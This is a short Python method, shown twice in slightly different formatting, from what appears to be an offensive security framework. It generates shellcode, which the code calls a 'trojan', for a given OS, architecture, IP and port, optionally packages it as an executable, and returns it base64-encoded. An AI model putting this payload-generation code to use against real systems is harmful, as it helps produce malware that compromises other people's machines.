def gen_shellcode(self): # print(make_exe) try: sys.path.append("shellcodes") s_o = self.s_o s = OSShellcodes(s_o["os"], s_o["arch"], s_o["ip"], s_o["port"], s_o["badchars"]) trojan = s.create_shellcode(s_o["type"], encode=s_o["encode"], make_exe=s_o["exe"], command=s_o["command"], debug=1, filename="command.exe") except Exception as e: print(e) return False if self.s_o["exe"]: with open(s.get_exe_path()) as f: trojan = f.read() return base64.b64encode(trojan)
def gen_shellcode(self): # print(make_exe) try: sys.path.append("shellcodes") s_o = self.s_o s = OSShellcodes(s_o["os"], s_o["arch"], s_o[ "ip"], s_o["port"], s_o["badchars"]) trojan = s.create_shellcode( s_o["type"], encode=s_o["encode"], make_exe=s_o["exe"], command=s_o["command"], debug=1, filename="command.exe" ) except Exception as e: print(e) return False if self.s_o["exe"]: with open(s.get_exe_path()) as f: trojan = f.read() return base64.b64encode(trojan)